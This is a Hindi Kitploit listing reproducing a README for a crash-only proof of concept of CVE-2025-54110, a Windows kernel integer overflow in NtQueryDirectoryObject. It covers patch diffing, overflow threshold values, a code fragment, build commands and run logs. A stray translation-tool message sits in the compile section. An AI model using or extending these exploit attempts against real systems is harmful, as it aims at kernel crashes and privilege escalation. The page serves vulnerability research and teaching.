Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-54110-Kernel-EoP-PoC — प्रोजेक्ट दिनांक : अक्टूबर 2025 / CVE-2025-54110 के लिए PoC कार्यान्वयन, जो Windows `NtQueryDirectoryObject` सिस्टम कॉल में एक कर्नेल-स्तरीय पूर्णांक अतिप्रवाह भेद्यता है। | Kitploit
उपकरण/GitHubGitHub/canomer/cve-2025-54110-kernel-eop-poc
भेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubcanomer/cve-2025-54110-kernel-eop-poc

CVE-2025-54110-Kernel-EoP-PoC

प्रोजेक्ट दिनांक : अक्टूबर 2025 / CVE-2025-54110 के लिए PoC कार्यान्वयन, जो Windows `NtQueryDirectoryObject` सिस्टम कॉल में एक कर्नेल-स्तरीय पूर्णांक अतिप्रवाह भेद्यता है।

रिपॉजिटरी देखें
11134 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-54110-Kernel-EoP-PoC

CVE-2025-54110 के लिए PoC कार्यान्वयन, जो Windows के NtQueryDirectoryObject सिस्टम कॉल में कर्नेल-स्तरीय पूर्णांक अतिप्रवाह भेद्यता है।

CVE-2025-54110 - Windows कर्नेल पूर्णांक अतिप्रवाह विश्लेषण

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

इस रिपॉजिटरी में CVE-2025-54110 कर्नेल EoP भेद्यता के लिए एक Crash-Only PoC शामिल है, जिसे केवल सुरक्षा अनुसंधान, रिवर्स इंजीनियरिंग और एक्सप्लॉइट विकास अनुसंधान के लिए विकसित किया गया है। इस कोड का उद्देश्य भेद्यता अनुसंधान तकनीकों को प्रदर्शित करना है, जिनमें शामिल हैं:

  • Ghidra Version Tracking के साथ बाइनरी डिफिंग
  • Windows Patch Tuesday विश्लेषण
  • कर्नेल भेद्यता अनुसंधान पद्धतियाँ
  • स्ट्रक्चर्ड एक्सेप्शन हैंडलिंग (SEH) व्यवहार विश्लेषण

यह PoC विशेषाधिकार वृद्धि या विश्वसनीय BSOD प्राप्त नहीं करता है। इसे एक्सेस उल्लंघनों को सुरक्षित रूप से ट्रिगर करने के लिए डिज़ाइन किया गया है, जिन्हें Windows कर्नेल सुरक्षाओं द्वारा पकड़ लिया जाता है।


अवलोकन

CVE-2025-54110: Windows कर्नेल EoP भेद्यता

प्रकाशन दिनांक: सितंबर 2025 (Windows मंगलवार सुरक्षा पैच)

गुणमान
CWECWE-190: पूर्णांक अतिप्रवाह या रैपअराउंड
CVSS 3.1 स्कोर8.8 (उच्च) / 7.7 (अस्थायी)
वेक्टर स्ट्रिंगCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
हमला वेक्टरस्थानीय
हमले की जटिलतानिम्न
आवश्यक विशेषाधिकारनिम्न
उपयोगकर्ता सहभागिताकोई नहीं
दायरापरिवर्तित
गोपनीयताउच्च
अखंडताउच्च
उपलब्धताउच्च
एक्सप्लॉइट परिपक्वताअप्रमाणित

कार्यकारी सारांश

Windows कर्नेल में एक पूर्णांक अतिप्रवाह भेद्यता एक प्रमाणित हमलावर को स्थानीय रूप से विशेषाधिकार बढ़ाने की संभावना देती है। Microsoft की सलाह के अनुसार:

"एक हमलावर इस भेद्यता का शोषण सैंडबॉक्स किए गए उपयोगकर्ता-मोड प्रक्रिया से विशेष रूप से तैयार इनपुट भेजकर कर सकता है, जिससे पूर्णांक अतिप्रवाह ट्रिगर होता है, जिसके परिणामस्वरूप कर्नेल में बफर अतिप्रवाह होता है और विशेषाधिकार वृद्धि या सैंडबॉक्स से बचाव संभव होता है।"

संभावित प्रभाव

  • SYSTEM विशेषाधिकार एक सफल हमलावर द्वारा प्राप्त किए जा सकते हैं
  • उपयोगकर्ता-मोड प्रतिबंधित प्रक्रियाओं से सैंडबॉक्स से बचाव
  • कर्नेल मेमोरी भ्रष्टाचार जो कोड निष्पादन की ओर ले जाता है

शोषण-क्षमता मूल्यांकन

  • सार्वजनिक रूप से खुलासा: नहीं
  • वास्तविक दुनिया में शोषण: नहीं
  • Microsoft आकलन: शोषण अधिक संभावित

अनुसंधान पद्धति

1. पैच विश्लेषण कार्यप्रवाह```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

root@kitploit:~
### 2. विश्लेषित फ़ाइलें

प्रारंभिक विश्लेषण दो प्राथमिक कर्नेल घटकों पर केंद्रित था:

#### win32k.sys (-)
- **परिणाम:** कोई महत्वपूर्ण परिवर्तन नहीं पाया गया
- **स्कोर सीमा:** 0.97-1.0 (उच्च समानता)
- **निष्कर्ष:** CVE-2025-54110 के लिए यह संवेदनशील घटक नहीं है

#### ntoskrnl.exe (+)
- **परिणाम:** महत्वपूर्ण परिवर्तनों वाले कई फ़ंक्शन
- **स्कोर सीमा:** स्कोर ≤0.951 वाले फ़ंक्शन
- **लंबाई अंतर:** स्रोत बनाम गंतव्य बाइट लंबाई में भिन्नताएँ पाई गईं
- **निर्यातित कुल आइटम:** विश्लेषण के लिए 2,036 फ़ंक्शन

### 3. Ghidra संस्करण ट्रैकिंग परिणाम

`ntoskrnl.exe` में पहचाने गए परिवर्तनों का नमूना:

| स्कोर | विश्वास | स्रोत लंबाई | गंतव्य लंबाई | स्रोत फ़ंक्शन | गंतव्य फ़ंक्शन |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## PoC स्टेटमेंट

### तकनीकी दृष्टिकोण

PoC (`precise_overflow_bsod.c`) निम्नलिखित माध्यमों से पूर्णांक अतिप्रवाह (integer overflow) भेद्यता को ट्रिगर करने का प्रयास करता है:

1. **सटीक थ्रेशोल्ड गणना:** `0xfffffdbc` (base=0x20, name=0x200 से व्युत्पन्न)
2. **NtQueryDirectoryObject API:** अतिप्रवाह ट्रिगर करने के लिए लक्षित फ़ंक्शन
3. **बहु-चरणीय आक्रमण रणनीति:**
   - चरण 1: सटीक पूर्णांक अतिप्रवाह प्रयास
   - चरण 2: कर्नेल मेमोरी लक्ष्यीकरण
   - चरण 3: बहु-थ्रेडेड शोषण

### कोड संरचना```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

परीक्षित शोषण वैक्टर```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

root@kitploit:~
---

## PoC सिस्टम को क्रैश क्यों नहीं करता

### वास्तविक परिणाम

PoC लगातार `STATUS_ACCESS_VIOLATION (0xC0000005)` लौटाता है बिना ब्लू स्क्रीन ऑफ डेथ (BSOD) पैदा किए। यह **डिज़ाइन द्वारा** है और कई महत्वपूर्ण Windows कर्नेल सुरक्षा तंत्रों को प्रदर्शित करता है:

### 1. संरचित अपवाद हैंडलिंग (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

यह क्यों काम करता है:

  • विंडोज़ कर्नल syscalls यूज़र-मोड पॉइंटर एक्सेस को अपवाद हैंडलर में लपेटते हैं
  • अमान्य मेमोरी एक्सेस को फैलने देने के बजाय पकड़ लिया जाता है
  • सिस्टम क्रैश होने के बजाय कॉलर को त्रुटि कोड लौटाता है

2. SMAP (सुपरवाइज़र मोड एक्सेस प्रिवेंशन)

आधुनिक CPU सुविधा जो कर्नेल मोड (Ring 0) को स्पष्ट प्राधिकरण के बिना यूज़र-मोड (Ring 3) मेमोरी तक पहुंचने से रोकती है:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

root@kitploit:~
**PoC पर प्रभाव:**
- भले ही ओवरफ्लो हो जाए, कर्नेल-से-यूज़र मेमोरी तक सीधी पहुंच अवरुद्ध होती है
- पॉइंटर डीरेफरेंस कमजोरियों के शोषण को रोकता है

### 3. KASLR (कर्नेल एड्रेस स्पेस लेआउट रैंडमाइज़ेशन)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

BSOD क्यों नहीं होता:

  • PoC स्थिर पतों/सीमाओं का उपयोग करता है
  • वास्तविक कर्नेल संरचनाएँ यादृच्छिक स्थानों पर होती हैं
  • लेखन महत्वपूर्ण लक्ष्यों (जैसे, EPROCESS, Pool Headers) को चूक जाता है

4. कर्नेल पूल अखंडता जाँच

Windows 10+ उन्नत पूल भ्रष्टाचार का पता लगाने की सुविधा लागू करता है:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

root@kitploit:~
---

## PoC निष्पादन आउटपुट विश्लेषण

### अपेक्षित आउटपुट

`STATUS_ACCESS_VIOLATION (0xC0000005)` देखें, तो यह ठीक है।```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>
image

Verbossed प्रयोग```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

root@kitploit:~
### अवलोकित व्यवहार```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

स्थिति कोड: 0xC0000005 = STATUS_ACCESS_VIOLATION

इसका अर्थ

पहलूव्याख्या
भेद्यता पुष्टि(+) कोड पथ भेद्य फ़ंक्शन तक पहुँचता है
इनपुट सत्यापन(!) विशेष रूप से तैयार इनपुट असामान्य व्यवहार को ट्रिगर करता है
सिस्टम स्थिरता(+) SEH क्रैश को रोकता है; सिस्टम स्थिर रहता है
DoS उपलब्धि(-) कोई BSOD नहीं; अपवाद हैंडलिंग सफल
EoP उपलब्धि(-) कोई विशेषाधिकार वृद्धि नहीं; नियंत्रित विफलता

उद्देश्य के अनुसार सफलता मानदंड```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
---

## शैक्षिक महत्व

### यह PoC क्या प्रदर्शित करता है

#### परिणाम

1. **पैच डिफिंग पद्धति**
   - Ghidra का उपयोग करके प्री/पोस्ट-पैच बाइनरी की तुलना करना
   - संस्करण ट्रैकिंग के माध्यम से संशोधित फ़ंक्शनों की पहचान करना
   - स्कोर-आधारित समानता मेट्रिक्स का विश्लेषण करना

2. **विंडोज़ कर्नेल आर्किटेक्चर**
   - सिस्टम कॉल प्रवाह को समझना (`NtQueryDirectoryObject`)
   - कर्नेल/यूज़र-मोड सीमाओं को पहचानना
   - NTAPI आंतरिक फ़ंक्शन सीखना

3. **सुरक्षा तंत्र व्यवहार**
   - SEH क्रिया में: अपवाद पकड़ा गया बनाम सिस्टम क्रैश
   - SMAP अनधिकृत मेमोरी एक्सेस को रोकता है
   - KASLR स्थिर पता शोषण को विफल करता है

4. **भेद्यता अनुसंधान प्रक्रिया**
   - CVE विश्लेषण और सूचना संग्रह
   - बाइनरी परिवर्तनों की रिवर्स इंजीनियरिंग
   - नियंत्रित शोषण प्रयासों के माध्यम से परिकल्पना परीक्षण

#### सीमाएँ

1. **आधुनिक कर्नेल सुरक्षाएँ प्रभावी हैं**
   - साधारण ओवरफ्लो प्रयास अपर्याप्त हैं
   - रक्षा की कई परतों को बायपास किया जाना चाहिए
   - अकेले स्थैतिक विश्लेषण शोषणक्षमता की भविष्यवाणी नहीं कर सकता

2. **सिद्धांत और व्यवहार के बीच अंतर**
   - पूर्णांक ओवरफ्लो मौजूद है (सैद्धांतिक)
   - व्यावहारिक शोषण के लिए आवश्यक:
     - सूचना प्रकटीकरण (कर्नेल पते लीक करना)
     - हीप शेपिंग/फेंग शुई
     - ROP चेन या अन्य कोड निष्पादन प्रिमिटिव
     - DEP, CFG, HVCI आदि को बायपास करना

---

## विश्लेषण के लिए प्राथमिकता फ़ंक्शन

CVE-2025-54110 विशेषताओं (कर्नेल में पूर्णांक ओवरफ्लो → बफर ओवरफ्लो) के आधार पर, निर्यातित CSV में उन फ़ंक्शनों की समीक्षा को प्राथमिकता दें जो निम्न को संभालते हैं:

### उच्च प्राथमिकता श्रेणियाँ```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

2,036 फ़ंक्शंस के लिए फ़िल्टरिंग रणनीति

चरण 1: स्कोर-आधारित फ़िल्टर``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

root@kitploit:~
**चरण 2: कीवर्ड खोज**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

चरण 3: क्रॉस-रेफरेंस विश्लेषण``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

root@kitploit:~
**चरण 4: परिमाण बदलें**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

निर्माण और चलाना

पूर्वापेक्षाएँ```

  • Windows 10/11 (x64)
  • Visual Studio 2019+ or MinGW-w64
  • Administrator privileges (for syscall access)
root@kitploit:~
### संकलन```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

No input content was provided in the message. Please provide the actual Markdown content for chunk 37 of 44 so I can translate it from English to Hindi.```bash

Using MinGW

gcc precise_overflow_bsod.c -o poc64.exe -lntdll

root@kitploit:~
### निष्पादन```powershell
# Run with admin privileges
.\poc64.exe

अपेक्षित आउटपुट:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.

root@kitploit:~
---

## संसाधन और संदर्भ

### आधिकारिक स्रोत

- [Microsoft सुरक्षा सलाह - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: पूर्णांक अतिप्रवाह या रैपअराउंड](https://cwe.mitre.org/data/definitions/190.html)
- [Windows कर्नल इंटरनल - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### अनुसंधान उपकरण

- [Ghidra - NSA सॉफ्टवेयर रिवर्स इंजीनियरिंग सुइट](https://ghidra-sre.org/)
- [WinDbg - Windows डिबगिंग उपकरण](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### संबंधित पठन

- [कर्नल एक्सप्लॉइट डेवलपमेंट](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Windows कर्नल एक्सप्लॉइटेशन](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Ghidra के साथ पैच डिफिंग](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## कानूनी अस्वीकरण

यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।

इस कोड का उपयोग इनके लिए न करें:

• कंप्यूटर सिस्टम तक अनधिकृत पहुंच

• दुर्भावनापूर्ण हमले या क्षति

• कोई भी अवैध गतिविधियाँ


लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
उपयोगकर्ताओं को सभी लागू कानूनों का पालन करना चाहिए।

**इस कोड का उपयोग करके, आप स्वीकार करते हैं:**

1. आपके पास लक्षित प्रणालियों पर परीक्षण करने का प्राधिकरण है
2. आप अपने क्षेत्राधिकार में कानूनी निहितार्थों को समझते हैं
3. आप अपने कार्यों की पूर्ण जिम्मेदारी स्वीकार करते हैं
4. यह सीखने के लिए है, दुर्भावनापूर्ण गतिविधि के लिए नहीं

---

## कानूनी अस्वीकरण
यह रिपॉजिटरी विशेष रूप से नियंत्रित प्रयोगशाला वातावरण में शैक्षिक, रक्षात्मक सुरक्षा अनुसंधान और भेद्यता पुनरुत्पादन उद्देश्यों के लिए प्रदान की गई है।
जानकारी और प्रूफ-ऑफ-कॉन्सेप्ट कोड रक्षकों, शोधकर्ताओं और विक्रेताओं को रिपोर्ट की गई भेद्यता को समझने और सुधारने में सहायता करने के लिए है।
स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इस कोड का अनधिकृत या दुर्भावनापूर्ण उपयोग लागू कानूनों और विनियमों का उल्लंघन कर सकता है।
लेखक अवैध गतिविधि को प्रोत्साहित या समर्थन नहीं करता है और इस सामग्री से होने वाले दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।

यह भेद्यता प्रकटीकरण रिपोर्ट निम्नलिखित के लिए प्रदान की गई है:
1. सुरक्षा अनुसंधान और शिक्षा
2. विक्रेता अधिसूचना और पैच विकास
3. अंतिम उपयोगकर्ताओं की सुरक्षा
4. शैक्षणिक और रक्षात्मक सुरक्षा उद्देश्य

**निषिद्ध उपयोग:**
- कंप्यूटर सिस्टम तक अनधिकृत पहुंच
- दुर्भावनापूर्ण शोषण
- कोई भी अवैध गतिविधि

शोधकर्ता ने सभी परीक्षण नियंत्रित वातावरण में व्यक्तिगत रूप से स्वामित्व वाले सिस्टम पर किए। किसी तृतीय-पक्ष प्रणाली तक अनधिकृत पहुंच नहीं की गई।

**रिपोर्ट संस्करण:** 1.0  
**अंतिम अद्यतन:** 9 फरवरी, 2026  

---

## संपर्क

वैध सुरक्षा अनुसंधान पूछताछ या शैक्षिक सहयोग के लिए:

**जिम्मेदार प्रकटीकरण:**
- इस PoC के साथ सुरक्षा समस्याएँ → GitHub Issue खोलें
- वास्तविक CVE-2025-54110 शोषण → [MSRC](https://msrc.microsoft.com/) को रिपोर्ट करें

---

## लाइसेंस```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.
टूल डाउनलोड करें